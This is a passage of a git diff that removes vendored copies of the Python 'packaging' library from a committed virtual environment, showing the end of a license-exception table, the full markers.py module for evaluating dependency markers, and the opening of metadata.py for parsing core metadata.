{'id': 'cryptsetup-OpenSSL-exception', 'deprecated': False}, - 'digia-qt-lgpl-exception-1.1': {'id': 'Digia-Qt-LGPL-exception-1.1', 'deprecated': False}, - 'digirule-foss-exception': {'id': 'DigiRule-FOSS-exception', 'deprecated': False}, - 'ecos-exception-2.0': {'id': 'eCos-exception-2.0', 'deprecated': False}, - 'erlang-otp-linking-exception': {'id': 'erlang-otp-linking-exception', 'deprecated': False}, - 'fawkes-runtime-exception': {'id': 'Fawkes-Runtime-exception', 'deprecated': False}, - 'fltk-exception': {'id': 'FLTK-exception', 'deprecated': False}, - 'fmt-exception': {'id': 'fmt-exception', 'deprecated': False}, - 'font-exception-2.0': {'id': 'Font-exception-2.0', 'deprecated': False}, - 'freertos-exception-2.0': {'id': 'freertos-exception-2.0', 'deprecated': False}, - 'gcc-exception-2.0': {'id': 'GCC-exception-2.0', 'deprecated': False}, - 'gcc-exception-2.0-note': {'id': 'GCC-exception-2.0-note', 'deprecated': False}, - 'gcc-exception-3.1': {'id': 'GCC-exception-3.1', 'deprecated': False}, - 'gmsh-exception': {'id': 'Gmsh-exception', 'deprecated': False}, - 'gnat-exception': {'id': 'GNAT-exception', 'deprecated': False}, - 'gnome-examples-exception': {'id': 'GNOME-examples-exception', 'deprecated': False}, - 'gnu-compiler-exception': {'id': 'GNU-compiler-exception', 'deprecated': False}, - 'gnu-javamail-exception': {'id': 'gnu-javamail-exception', 'deprecated': False}, - 'gpl-3.0-389-ds-base-exception': {'id': 'GPL-3.0-389-ds-base-exception', 'deprecated': False}, - 'gpl-3.0-interface-exception': {'id': 'GPL-3.0-interface-exception', 'deprecated': False}, - 'gpl-3.0-linking-exception': {'id': 'GPL-3.0-linking-exception', 'deprecated': False}, - 'gpl-3.0-linking-source-exception': {'id': 'GPL-3.0-linking-source-exception', 'deprecated': False}, - 'gpl-cc-1.0': {'id': 'GPL-CC-1.0', 'deprecated': False}, - 'gstreamer-exception-2005': {'id': 'GStreamer-exception-2005', 'deprecated': False}, - 'gstreamer-exception-2008': {'id': 'GStreamer-exception-2008', 'deprecated': False}, - 'harbour-exception': {'id': 'harbour-exception', 'deprecated': False}, - 'i2p-gpl-java-exception': {'id': 'i2p-gpl-java-exception', 'deprecated': False}, - 'independent-modules-exception': {'id': 'Independent-modules-exception', 'deprecated': False}, - 'kicad-libraries-exception': {'id': 'KiCad-libraries-exception', 'deprecated': False}, - 'lgpl-3.0-linking-exception': {'id': 'LGPL-3.0-linking-exception', 'deprecated': False}, - 'libpri-openh323-exception': {'id': 'libpri-OpenH323-exception', 'deprecated': False}, - 'libtool-exception': {'id': 'Libtool-exception', 'deprecated': False}, - 'linux-syscall-note': {'id': 'Linux-syscall-note', 'deprecated': False}, - 'llgpl': {'id': 'LLGPL', 'deprecated': False}, - 'llvm-exception': {'id': 'LLVM-exception', 'deprecated': False}, - 'lzma-exception': {'id': 'LZMA-exception', 'deprecated': False}, - 'mif-exception': {'id': 'mif-exception', 'deprecated': False}, - 'mxml-exception': {'id': 'mxml-exception', 'deprecated': False}, - 'nokia-qt-exception-1.1': {'id': 'Nokia-Qt-exception-1.1', 'deprecated': True}, - 'ocaml-lgpl-linking-exception': {'id': 'OCaml-LGPL-linking-exception', 'deprecated': False}, - 'occt-exception-1.0': {'id': 'OCCT-exception-1.0', 'deprecated': False}, - 'openjdk-assembly-exception-1.0': {'id': 'OpenJDK-assembly-exception-1.0', 'deprecated': False}, - 'openvpn-openssl-exception': {'id': 'openvpn-openssl-exception', 'deprecated': False}, - 'pcre2-exception': {'id': 'PCRE2-exception', 'deprecated': False}, - 'polyparse-exception': {'id': 'polyparse-exception', 'deprecated': False}, - 'ps-or-pdf-font-exception-20170817': {'id': 'PS-or-PDF-font-exception-20170817', 'deprecated': False}, - 'qpl-1.0-inria-2004-exception': {'id': 'QPL-1.0-INRIA-2004-exception', 'deprecated': False}, - 'qt-gpl-exception-1.0': {'id': 'Qt-GPL-exception-1.0', 'deprecated': False}, - 'qt-lgpl-exception-1.1': {'id': 'Qt-LGPL-exception-1.1', 'deprecated': False}, - 'qwt-exception-1.0': {'id': 'Qwt-exception-1.0', 'deprecated': False}, - 'romic-exception': {'id': 'romic-exception', 'deprecated': False}, - 'rrdtool-floss-exception-2.0': {'id': 'RRDtool-FLOSS-exception-2.0', 'deprecated': False}, - 'sane-exception': {'id': 'SANE-exception', 'deprecated': False}, - 'shl-2.0': {'id': 'SHL-2.0', 'deprecated': False}, - 'shl-2.1': {'id': 'SHL-2.1', 'deprecated': False}, - 'stunnel-exception': {'id': 'stunnel-exception', 'deprecated': False}, - 'swi-exception': {'id': 'SWI-exception', 'deprecated': False}, - 'swift-exception': {'id': 'Swift-exception', 'deprecated': False}, - 'texinfo-exception': {'id': 'Texinfo-exception', 'deprecated': False}, - 'u-boot-exception-2.0': {'id': 'u-boot-exception-2.0', 'deprecated': False}, - 'ubdl-exception': {'id': 'UBDL-exception', 'deprecated': False}, - 'universal-foss-exception-1.0': {'id': 'Universal-FOSS-exception-1.0', 'deprecated': False}, - 'vsftpd-openssl-exception': {'id': 'vsftpd-openssl-exception', 'deprecated': False}, - 'wxwindows-exception-3.1': {'id': 'WxWindows-exception-3.1', 'deprecated': False}, - 'x11vnc-openssl-exception': {'id': 'x11vnc-openssl-exception', 'deprecated': False}, -} diff --git a/venv/Lib/site-packages/packaging/markers.py b/venv/Lib/site-packages/packaging/markers.py deleted file mode 100644 index 51b60364603fe03e80e61c03cda07964fa474e76..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/markers.py +++ /dev/null @@ -1,576 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import functools -import operator -import os -import platform -import sys -from collections.abc import Set as AbstractSet -from typing import TYPE_CHECKING, Callable, Literal, TypedDict, Union, cast - -from ._parser import MarkerAtom, MarkerList, Op, Value, Variable -from ._parser import parse_marker as _parse_marker -from ._tokenizer import ParserSyntaxError -from .specifiers import InvalidSpecifier, Specifier -from .utils import canonicalize_name - -if TYPE_CHECKING: - from collections.abc import Mapping - -__all__ = [ - "Environment", - "EvaluateContext", - "InvalidMarker", - "Marker", - "UndefinedComparison", - "UndefinedEnvironmentName", - "default_environment", -] - - -def __dir__() -> list[str]: - return __all__ - - -Operator = Callable[[str, Union[str, AbstractSet[str]]], bool] -EvaluateContext = Literal["metadata", "lock_file", "requirement"] -"""A ``typing.Literal`` enumerating valid marker evaluation contexts. - -Valid values for the ``context`` passed to :meth:`Marker.evaluate` are: - -* ``"metadata"`` (for core metadata; default) -* ``"lock_file"`` (for lock files) -* ``"requirement"`` (i.e. all other situations) - -.. versionadded:: 25.0 -""" - -MARKERS_ALLOWING_SET = {"extras", "dependency_groups"} -MARKERS_REQUIRING_VERSION = { - "implementation_version", - "platform_release", - "python_full_version", - "python_version", -} - - -class InvalidMarker(ValueError): - """Raised when attempting to create a :class:`Marker` from invalid input. - - This error indicates that the given marker string does not conform to the - :ref:`specification of dependency specifiers `. - """ - - -class UndefinedComparison(ValueError): - """Raised when evaluating an unsupported marker comparison. - - This can happen when marker values are compared as versions but do not - conform to the :ref:`specification of version specifiers - `. - """ - - -class UndefinedEnvironmentName(KeyError): - """Raised when evaluating a marker that references a missing environment key. - - Subclasses :class:`KeyError` so that code catching the bare ``KeyError`` that - a missing environment lookup historically produced keeps working. - - .. versionchanged:: 26.3 - Now subclasses :class:`KeyError` (was :class:`ValueError`) and is raised by - :meth:`Marker.evaluate` for missing environment keys, where a bare - ``KeyError`` was raised before. - """ - - -class Environment(TypedDict): - """ - A dictionary that represents a Python environment as captured by - :func:`default_environment`. All fields are required. - """ - - implementation_name: str - """The implementation's identifier, e.g. ``'cpython'``.""" - - implementation_version: str - """ - The implementation's version, e.g. ``'3.13.0a2'`` for CPython 3.13.0a2, or - ``'7.3.13'`` for PyPy3.10 v7.3.13. - """ - - os_name: str - """ - The value of :py:data:`os.name`. The name of the operating system dependent module - imported, e.g. ``'posix'``. - """ - - platform_machine: str - """ - Returns the machine type, e.g. ``'i386'``. - - An empty string if the value cannot be determined. - """ - - platform_release: str - """ - The system's release, e.g. ``'2.2.0'`` or ``'NT'``. - - An empty string if the value cannot be determined. - """ - - platform_system: str - """ - The system/OS name, e.g. ``'Linux'``, ``'Windows'`` or ``'Java'``. - - An empty string if the value cannot be determined. - """ - - platform_version: str - """ - The system's release version, e.g. ``'#3 on degas'``. - - An empty string if the value cannot be determined. - """ - - python_full_version: str - """ - The Python version as string ``'major.minor.patchlevel'``. - - Note that unlike the Python :py:data:`sys.version`, this value will always include - the patchlevel (it defaults to 0). - """ - - platform_python_implementation: str - """ - A string identifying the Python implementation, e.g. ``'CPython'``. - """ - - python_version: str - """The Python version as string ``'major.minor'``.""" - - sys_platform: str - """ - This string contains a platform identifier that can be used to append - platform-specific components to :py:data:`sys.path`, for instance. - - For Unix systems, except on Linux and AIX, this is the lowercased OS name as - returned by ``uname -s`` with the first part of the version as returned by - ``uname -r`` appended, e.g. ``'sunos5'`` or ``'freebsd8'``, at the time when Python - was built. - """ - - -def _normalize_extras( - result: MarkerList | MarkerAtom | str, -) -> MarkerList | MarkerAtom | str: - if isinstance(result, list): - return [_normalize_extras(r) for r in result] - if not isinstance(result, tuple): - return result - - lhs, op, rhs = result - if isinstance(lhs, Variable) and lhs.value == "extra" and isinstance(rhs, Value): - normalized_extra = canonicalize_name(rhs.value) - rhs = Value(normalized_extra) - elif isinstance(rhs, Variable) and rhs.value == "extra" and isinstance(lhs, Value): - normalized_extra = canonicalize_name(lhs.value) - lhs = Value(normalized_extra) - elif ( - isinstance(rhs, Variable) - and rhs.value in MARKERS_ALLOWING_SET - and isinstance(lhs, Value) - ): - # PEP 685 (extras) / PEP 735 (dependency_groups): the set-valued membership - # literal must also be normalized. evaluate() already canonicalizes both - # operands for these keys (see _normalize), so normalizing the literal at - # parse time keeps __str__/__eq__/__hash__ consistent with evaluate() -- e.g. - # Marker('"Foo" in extras') and Marker('"foo" in extras') must compare and - # hash equal (the membership variable is always the right-hand operand). - lhs = Value(canonicalize_name(lhs.value)) - return lhs, op, rhs - - -def _normalize_extra_values(results: MarkerList) -> MarkerList: - """ - Normalize extra values. - """ - - return [_normalize_extras(r) for r in results] - - -def _format_marker( - marker: list[str] | MarkerAtom | str, first: bool | None = True -) -> str: - assert isinstance(marker, (list, tuple, str)) - - # Unwrap a redundant [[...]] wrapper, but keep the nesting context so a - # nested group keeps the parentheses its and/or precedence needs. - if ( - isinstance(marker, list) - and len(marker) == 1 - and isinstance(marker[0], (list, tuple)) - ): - return _format_marker(marker[0], first=first) - - if isinstance(marker, list): - inner = (_format_marker(m, first=False) for m in marker) - if first: - return " ".join(inner) - else: - return "(" + " ".join(inner) + ")" - elif isinstance(marker, tuple): - return " ".join([m.serialize() for m in marker]) - else: - return marker - - -_operators: dict[str, Operator] = { - "in": lambda lhs, rhs: lhs in rhs, - "not in": lambda lhs, rhs: lhs not in rhs, - "<": lambda _lhs, _rhs: False, - "<=": operator.eq, - "==": operator.eq, - "!=": operator.ne, - ">=": operator.eq, - ">": lambda _lhs, _rhs: False, -} - - -def _eval_op(lhs: str, op: Op, rhs: str | AbstractSet[str], *, key: str) -> bool: - op_str = op.serialize() - if key in MARKERS_REQUIRING_VERSION: - try: - spec = Specifier(f"{op_str}{rhs}") - except InvalidSpecifier: - pass - else: - return spec.contains(lhs, prereleases=True) - - oper: Operator | None = _operators.get(op_str) - if oper is None: - raise UndefinedComparison(f"Undefined {op!r} on {lhs!r} and {rhs!r}.") - - return oper(lhs, rhs) - - -def _normalize( - lhs: str, rhs: str | AbstractSet[str], key: str -) -> tuple[str, str | AbstractSet[str]]: - # PEP 685 - Comparison of extra names for optional distribution dependencies - # https://peps.python.org/pep-0685/ - # > When comparing extra names, tools MUST normalize the names being - # > compared using the semantics outlined in PEP 503 for names - if key == "extra": - assert isinstance(rhs, str), "extra value must be a string" - # Both sides are normalized at this point already - return (lhs, rhs) - if key in MARKERS_ALLOWING_SET: - if isinstance(rhs, str): # pragma: no cover - return (canonicalize_name(lhs), canonicalize_name(rhs)) - else: - return (canonicalize_name(lhs), {canonicalize_name(v) for v in rhs}) - - # other environment markers don't have such standards - return lhs, rhs - - -def _lookup_environment( - environment: dict[str, str | AbstractSet[str]], key: str -) -> str | AbstractSet[str]: - try: - return environment[key] - except KeyError: - raise UndefinedEnvironmentName(key) from None - - -def _evaluate_markers( - markers: MarkerList, environment: dict[str, str | AbstractSet[str]] -) -> bool: - groups: list[list[bool]] = [[]] - - for marker in markers: - if isinstance(marker, list): - groups[-1].append(_evaluate_markers(marker, environment)) - elif isinstance(marker, tuple): - lhs, op, rhs = marker - - if isinstance(lhs, Variable): - environment_key = lhs.value - lhs_value = _lookup_environment(environment, environment_key) - rhs_value = rhs.value - else: - lhs_value = lhs.value - environment_key = rhs.value - rhs_value = _lookup_environment(environment, environment_key) - - if not isinstance(lhs_value, str): - raise UndefinedComparison( - f"Set-valued marker {environment_key!r} can only be used " - f'with the membership form (e.g. "" in ' - f"{environment_key}); it cannot appear on the left-hand " - f"side of {op.serialize()!r}." - ) - lhs_value, rhs_value = _normalize(lhs_value, rhs_value, key=environment_key) - groups[-1].append(_eval_op(lhs_value, op, rhs_value, key=environment_key)) - elif marker == "or": - groups.append([]) - elif marker == "and": - pass - else: # pragma: nocover - raise TypeError(f"Unexpected marker {marker!r}") - - return any(all(item) for item in groups) - - -def _format_full_version(info: sys._version_info) -> str: - version = f"{info.major}.{info.minor}.{info.micro}" - kind = info.releaselevel - if kind != "final": - version += kind[0] + str(info.serial) - return version - - -@functools.cache -def _cached_default_environment() -> Environment: - """Build the default marker environment for the current Python process. - - The values are derived from process-constant data (the running interpreter - and the host platform), so this is cached and built only once. The result is - shared between callers and must never be mutated; :func:`default_environment` - returns a fresh copy. - """ - iver = _format_full_version(sys.implementation.version) - implementation_name = sys.implementation.name - return { - "implementation_name": implementation_name, - "implementation_version": iver, - "os_name": os.name, - "platform_machine": platform.machine(), - "platform_release": platform.release(), - "platform_system": platform.system(), - "platform_version": platform.version(), - "python_full_version": platform.python_version(), - "platform_python_implementation": platform.python_implementation(), - "python_version": ".".join(platform.python_version_tuple()[:2]), - "sys_platform": sys.platform, - } - - -def default_environment() -> Environment: - """Return the default marker environment for the current Python process. - - This is the base environment used by :meth:`Marker.evaluate`. A fresh copy - is returned on every call so callers may freely mutate the result; a shallow - copy suffices because all values are immutable strings. - - .. versionchanged:: 26.3 - The environment is computed once per process and cached, since it is - derived from process-constant data. Patching ``platform``/``sys``/``os`` - after the first call has no effect; pass an explicit ``environment`` to - :meth:`Marker.evaluate` to evaluate against different values. - """ - return cast("Environment", dict(_cached_default_environment())) - - -class Marker: - """Represents a parsed dependency marker expression. - - Marker expressions are parsed according to the - :ref:`specification of dependency specifiers `. - - :param marker: The string representation of a marker expression. - :raises InvalidMarker: If ``marker`` cannot be parsed. - - Instances are safe to serialize with :mod:`pickle`. They use a stable - format so the same pickle can be loaded in future packaging releases. - - .. versionchanged:: 26.2 - - Added a stable pickle format. Pickles created with packaging 26.2+ can - be unpickled with future releases. Backward compatibility with pickles - from packaging < 26.2 is supported but may be removed in a future - release. - """ - - __slots__ = ("_markers",) - - def __init__(self, marker: str) -> None: - # Note: We create a Marker object without calling this constructor in - # packaging.requirements.Requirement. If any additional logic is - # added here, make sure to mirror/adapt Requirement. - - # If this fails and throws an error, the repr still expects _markers to - # be defined. - self._markers: MarkerList = [] - - try: - self._markers = _normalize_extra_values(_parse_marker(marker)) - # The attribute `_markers` can be described in terms of a recursive type: - # MarkerList = List[Union[Tuple[Node, ...], str, MarkerList]] - # - # For example, the following expression: - # python_version > "3.6" or (python_version == "3.6" and os_name == "unix") - # - # is parsed into: - # [ - # (, ')>, ), - # 'and', - # [ - # (, , ), - # 'or', - # (, , ) - # ] - # ] - except ParserSyntaxError as e: - raise InvalidMarker(str(e)) from e - - @classmethod - def _from_markers(cls, markers: MarkerList) -> Marker: - """Create a Marker instance from a pre-parsed marker tree. - - This avoids re-parsing serialised marker strings when combining markers. - """ - new = cls.__new__(cls) - new._markers = markers - return new - - def __str__(self) -> str: - return _format_marker(self._markers) - - def __repr__(self) -> str: - return f"<{self.__class__.__name__}({str(self)!r})>" - - def __hash__(self) -> int: - return hash(str(self)) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Marker): - return NotImplemented - - return str(self) == str(other) - - def __getstate__(self) -> str: - # Return the marker expression string for compactness and stability. - # Internal Node objects are excluded; the string is re-parsed on load. - return str(self) - - def __setstate__(self, state: object) -> None: - if isinstance(state, str): - # New format (26.2+): just the marker expression string. - try: - self._markers = _normalize_extra_values(_parse_marker(state)) - except ParserSyntaxError as exc: - raise TypeError(f"Cannot restore Marker from {state!r}") from exc - return - if isinstance(state, dict) and "_markers" in state: - # Old format (packaging <= 26.1, no __slots__): plain __dict__. - markers = state["_markers"] - if isinstance(markers, list): - self._markers = markers - return - if isinstance(state, tuple) and len(state) == 2: - # Old format (packaging <= 26.1, __slots__): (None, {slot: value}). - _, slot_dict = state - if isinstance(slot_dict, dict) and "_markers" in slot_dict: - markers = slot_dict["_markers"] - if isinstance(markers, list): - self._markers = markers - return - raise TypeError(f"Cannot restore Marker from {state!r}") - - def __and__(self, other: Marker) -> Marker: - """Combine this marker with another using ``and``. - - .. versionadded:: 26.1 - """ - if not isinstance(other, Marker): - return NotImplemented - return self._from_markers([self._markers, "and", other._markers]) - - def __or__(self, other: Marker) -> Marker: - """Combine this marker with another using ``or``. - - .. versionadded:: 26.1 - """ - if not isinstance(other, Marker): - return NotImplemented - return self._from_markers([self._markers, "or", other._markers]) - - def evaluate( - self, - environment: Mapping[str, str | AbstractSet[str]] | None = None, - context: EvaluateContext = "metadata", - ) -> bool: - """Evaluate a marker. - - Return the boolean from evaluating this marker against the environment. - The environment is determined from the current Python process unless - passed in explicitly. - - :param environment: Mapping containing keys and values to override the - detected environment. - :param EvaluateContext context: The context in which the marker is - evaluated, which influences what marker names are considered valid. - Accepted values are ``"metadata"`` (for core metadata; default), - ``"lock_file"``, and ``"requirement"`` (i.e. all other situations). - :raises UndefinedComparison: If the marker uses a comparison on values - that are not valid versions per the :ref:`specification of version - specifiers `. - :raises UndefinedEnvironmentName: If the marker references a value that - is missing from the evaluation environment. - :returns: ``True`` if the marker matches, otherwise ``False``. - - .. versionchanged:: 25.0 - Added the ``context`` parameter, which influences which marker names - are considered valid. - """ - current_environment = cast( - "dict[str, str | AbstractSet[str]]", default_environment() - ) - if context == "lock_file": - current_environment |= { - "extras": frozenset(), - "dependency_groups": frozenset(), - } - elif context == "metadata": - current_environment["extra"] = "" - - if environment is not None: - current_environment |= environment - if "extra" in current_environment: - # The API used to allow setting extra to None. We need to handle - # this case for backwards compatibility. Also skip running - # normalize name if extra is empty. - extra = cast("str | None", current_environment["extra"]) - current_environment["extra"] = canonicalize_name(extra) if extra else "" - - return _evaluate_markers( - self._markers, _repair_python_full_version(current_environment) - ) - - -def _pep440_python_full_version(python_full_version: str) -> str: - """ - Work around platform.python_version() returning something that is not PEP 440 - compliant for non-tagged Python builds. - """ - if python_full_version.endswith("+"): - return f"{python_full_version}local" - return python_full_version - - -def _repair_python_full_version( - env: dict[str, str | AbstractSet[str]], -) -> dict[str, str | AbstractSet[str]]: - """ - Work around platform.python_version() returning something that is not PEP 440 - compliant for non-tagged Python builds. - """ - python_full_version = cast("str", env["python_full_version"]) - env["python_full_version"] = _pep440_python_full_version(python_full_version) - return env diff --git a/venv/Lib/site-packages/packaging/metadata.py b/venv/Lib/site-packages/packaging/metadata.py deleted file mode 100644 index 106110500510483721d3eb92760ddfc6f3e869a0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/metadata.py +++ /dev/null @@ -1,1054 +0,0 @@ -from __future__ import annotations - -import email.header -import email.message -import email.parser -import email.policy -import keyword -import pathlib -import re -import typing -from typing import ( - Any, - Callable, - Generic, - Literal, - TypedDict, - cast, -) - -from . import licenses, requirements, specifiers, utils -from . import version as version_module -from .errors import ExceptionGroup, _ErrorCollector - -if typing.TYPE_CHECKING: - from .licenses import NormalizedLicenseExpression - from .version import Version - -T = typing.TypeVar("T") - - -__all__ = [ - "ExceptionGroup", # Keep this for a bit (makes mypy happy w/ 26.0 compat) - "InvalidMetadata", - "Metadata", - "RFC822Message", - "RFC822Policy", - "RawMetadata", - "parse_email", -] - - -def __dir__() -> list[str]: - return __all__ - - -class InvalidMetadata(ValueError): - """A metadata field contains invalid data. - - .. versionadded:: 23.2 - """ - - field: str - """The name of the field that contains invalid data.""" - - def __init__(self, field: str, message: str) -> None: - self.field = field - super().__init__(message) - - # Support pickling; ``args`` does not match ``__init__``'s signature. - def __reduce__(self) -> tuple[type[InvalidMetadata], tuple[str, str]]: - return (self.__class__, (self.field, self.args[0])) - - -# The RawMetadata class attempts to make as few assumptions about the underlying -# serialization formats as possible. The idea is that as long as a serialization -# formats offer some very basic primitives in *some* way then we can support -# serializing to and from that format. -class RawMetadata(TypedDict, total=False): - """A dictionary of raw core metadata. - - Each field in core metadata maps to a key of this dictionary (when data is - provided). The key is lower-case and underscores are used instead of dashes - compared to the equivalent core metadata field. Any core metadata field that - can be specified multiple times or can hold multiple values in a single - field have a key with a plural name. See :class:`Metadata` whose attributes - match the keys of this dictionary. - - Core metadata fields that can be specified multiple times are stored as a - list or dict depending on which is appropriate for the field. Any fields - which hold multiple values in a single field are stored as a list. All fields - are considered optional. - """ - - # Metadata 1.0 - PEP 241 - metadata_version: str - name: str - version: str - platforms: list[str] - summary: str - description: str - keywords: list[str] - home_page: str - author: str - author_email: str - license: str - - # Metadata 1.1 - PEP 314 - supported_platforms: list[str] - download_url: str - classifiers: list[str] - requires: list[str] - provides: list[str] - obsoletes: list[str] - - # Metadata 1.2 - PEP 345 - maintainer: str - maintainer_email: str - requires_dist: list[str] - provides_dist: list[str] - obsoletes_dist: list[str] - requires_python: str - requires_external: list[str] - project_urls: dict[str, str] - - # Metadata 2.0 - # PEP 426 attempted to completely revamp the metadata format - # but got stuck without ever being able to build consensus on - # it and ultimately ended up withdrawn. - # - # However, a number of tools had started emitting METADATA with - # `2.0` Metadata-Version, so for historical reasons, this version - # was skipped. - - # Metadata 2.1 - PEP 566 - description_content_type: str - provides_extra: list[str] - - # Metadata 2.2 - PEP 643 - dynamic: list[str] - - # Metadata 2.3 - PEP 685 - # No new fields were added in PEP 685, just some edge case were - # tightened up to provide better interoperability. - - # Metadata 2.4 - PEP 639 - license_expression: str - """.. versionadded:: 24.2""" - license_files: list[str] - """.. versionadded:: 24.2""" - - # Metadata 2.5 - PEP 794 - import_names: list[str] - """.. versionadded:: 26.0""" - import_namespaces: list[str] - """.. versionadded:: 26.0""" - - # Metadata 2.6 - PEP 808 (no new fields, behavior change for Dynamic) - - -# 'keywords' is special as it's a string in the core metadata spec, but we -# represent it as a list. -_STRING_FIELDS = { - "author", - "author_email", - "description", - "description_content_type", - "download_url", - "home_page", - "license", - "license_expression", - "maintainer", - "maintainer_email", - "metadata_version", - "name", - "requires_python", - "summary", - "version", -} - -_LIST_FIELDS = { - "classifiers", - "dynamic", - "license_files", - "obsoletes", - "obsoletes_dist", - "platforms", - "provides", - "provides_dist", - "provides_extra", - "requires", - "requires_dist", - "requires_external", - "supported_platforms", - "import_names", - "import_namespaces", -} - -_DICT_FIELDS = { - "project_urls", -} - - -def _parse_keywords(data: str) -> list[str]: - """Split a string of comma-separated keywords into a list of keywords.""" - return [k.strip() for k in data.split(",")] - - -def _parse_project_urls(data: list[str]) -> dict[str, str]: - """Parse a list of label/URL string pairings separated by a comma.""" - urls = {} - for pair in data: - # Our logic is slightly tricky here as we want to try and do - # *something* reasonable with malformed data. - # - # The main thing that we have to worry about, is data that does - # not have a ',' at all to split the label from the Value. There - # isn't a singular right answer here, and we will fail validation - # later on (if the caller is validating) so it doesn't *really* - # matter, but since the missing value has to be an empty str - # and our return value is dict[str, str], if we let the key - # be the missing value, then they'd have multiple '' values that - # overwrite each other in a accumulating dict. - # - # The other potential issue is that it's possible to have the - # same label multiple times in the metadata, with no solid "right" - # answer with what to do in that case. As such, we'll do the only - # thing we can, which is treat the field as unparsable and add it - # to our list of unparsed fields. - # - # TODO: The spec doesn't say anything about if the keys should be - # considered case sensitive or not... logically they should - # be case-preserving and case-insensitive, but doing that - # would open up more cases where we might have duplicate - # entries. - label, _, url = (s.strip() for s in pair.partition(",")) - - if label in urls: - # The label already exists in our set of urls, so this field - # is unparsable, and we can just add the whole thing to our - # unparsable data and stop processing it. - raise KeyError("duplicate labels in project urls") - urls[label] = url - - return urls - - -def _get_payload(msg: email.message.Message, source: bytes | str) -> str: - """Get the body of the message.""" - # If our source is a str, then our caller has managed encodings for us, - # and we don't need to deal with it. - if isinstance(source, str): - payload = msg.get_payload() - # A multipart payload makes get_payload() return a list of messages - # rather than a str; route it to ``unparsed``. - if not isinstance(payload, str): - raise ValueError("payload is not a string") # noqa: TRY004 - return payload - # If our source is a bytes, then we're managing the encoding and we need - # to deal with it. - else: - bpayload = msg.get_payload(decode=True) - # A multipart payload makes get_payload(decode=True) return None; - # route it to ``unparsed``. - if not isinstance(bpayload, bytes): - raise ValueError("payload in an invalid encoding") # noqa: TRY004 - try: - return bpayload.decode("utf8", "strict") - except UnicodeDecodeError as exc: - raise ValueError("payload in an invalid encoding") from exc - - -# The various parse_FORMAT functions here are intended to be as lenient as -# possible in their parsing, while still returning a correctly typed -# RawMetadata. -# -# To aid in this, we also generally want to do as little touching of the -# data as possible, except where there are possibly some historic holdovers -# that make valid data awkward to work with. -# -# While this is a lower level, intermediate format than our ``Metadata`` -# class, some light touch ups can make a massive difference in usability. - -# Map METADATA fields to RawMetadata. -_EMAIL_TO_RAW_MAPPING = { - "author": "author", - "author-email": "author_email", - "classifier": "classifiers", - "description": "description", - "description-content-type": "description_content_type", - "download-url": "download_url", - "dynamic": "dynamic", - "home-page": "home_page", - "import-name": "import_names", - "import-namespace": "import_namespaces", - "keywords": "keywords", - "license": "license", - "license-expression": "license_expression", - "license-file": "license_files", - "maintainer": "maintainer", - "maintainer-email": "maintainer_email", - "metadata-version": "metadata_version", - "name": "name", - "obsoletes": "obsoletes", - "obsoletes-dist": "obsoletes_dist", - "platform": "platforms", - "project-url": "project_urls", - "provides": "provides", - "provides-dist": "provides_dist", - "provides-extra": "provides_extra", - "requires": "requires", - "requires-dist": "requires_dist", - "requires-external": "requires_external", - "requires-python": "requires_python", - "summary": "summary", - "supported-platform": "supported_platforms", - "version": "version", -} -_RAW_TO_EMAIL_MAPPING = {raw: email for email, raw in _EMAIL_TO_RAW_MAPPING.items()} - - -# A bare "\r" makes the email generator raise ``HeaderWriteError``, and on -# CPython releases without the CVE-2024-6923 fix any ``str.splitlines`` -# boundary ends the header line, so fold all of them, not just "\n". -_LINE_BOUNDARY_RE = re.compile(r"\r\n|[\n\r\v\f\x1c\x1d\x1e\x85\u2028\u2029]") - - -# This class is for writing RFC822 messages -class RFC822Policy(email.policy.EmailPolicy): - """ - This is :class:`email.policy.EmailPolicy`, but with a simple ``header_store_parse`` - implementation that handles multi-line values, and some nice defaults. - - .. versionadded:: 26.0 - """ - - utf8 = True - mangle_from_ = False - max_line_length = 0 - - def header_store_parse(self, name: str, value: str) -> tuple[str, str]: - size = len(name) + 2 - value = _LINE_BOUNDARY_RE.sub("\n" + " " * size, value) - return (name, value) - - -# This class is for writing RFC822 messages -class RFC822Message(email.message.EmailMessage): - """ - This is :class:`email.message.EmailMessage` with two small changes: it defaults to - our `RFC822Policy`, and it correctly writes unicode when being called - with `bytes()`. - - .. versionadded:: 26.0 - """ - - def __init__(self) -> None: - super().__init__(policy=RFC822Policy()) - - def as_bytes( - self, unixfrom: bool = False, policy: email.policy.Policy | None = None - ) -> bytes: - """ - Return the bytes representation of the message. - - This handles unicode encoding. - """ - return self.as_string(unixfrom, policy=policy).encode("utf-8") - - -def parse_email(data: bytes | str) -> tuple[RawMetadata, dict[str, list[str]]]: - """Parse a distribution's metadata stored as email headers (e.g. from ``METADATA``). - - This function returns a two-item tuple of dicts. The first dict is of - recognized fields from the core metadata specification. Fields that can be - parsed and translated into Python's built-in types are converted - appropriately. All other fields are left as-is. Fields that are allowed to - appear multiple times are stored as lists. - - The second dict contains all other fields from the metadata. This includes - any unrecognized fields. It also includes any fields which are expected to - be parsed into a built-in type but were not formatted appropriately. Finally, - any fields that are expected to appear only once but are repeated are - included in this dict. - - """ - raw: dict[str, str | list[str] | dict[str, str]] = {} - unparsed: dict[str, list[str]] = {} - - if isinstance(data, str): - parsed = email.parser.Parser(policy=email.policy.compat32).parsestr(data) - else: - parsed = email.parser.BytesParser(policy=email.policy.compat32).parsebytes(data) - - # We have to wrap parsed.keys() in a set, because in the case of multiple - # values for a key (a list), the key will appear multiple times in the - # list of keys, but we're avoiding that by using get_all(). - for name_with_case in frozenset(parsed.keys()): - # Header names in RFC are case insensitive, so we'll normalize to all - # lower case to make comparisons easier. - name = name_with_case.lower() - - # We use get_all() here, even for fields that aren't multiple use, - # because otherwise someone could have e.g. two Name fields, and we - # would just silently ignore it rather than doing something about it. - headers = parsed.get_all(name) or [] - - # The way the email module works when parsing bytes is that it - # unconditionally decodes the bytes as ascii using the surrogateescape - # handler. When you pull that data back out (such as with get_all() ), - # it looks to see if the str has any surrogate escapes, and if it does - # it wraps it in a Header object instead of returning the string. - # - # As such, we'll look for those Header objects, and fix up the encoding. - value = [] - # Flag if we have run into any issues processing the headers, thus - # signalling that the data belongs in 'unparsed'. - valid_encoding = True - for h in headers: - # It's unclear if this can return more types than just a Header or - # a str, so we'll just assert here to make sure. - assert isinstance(h, 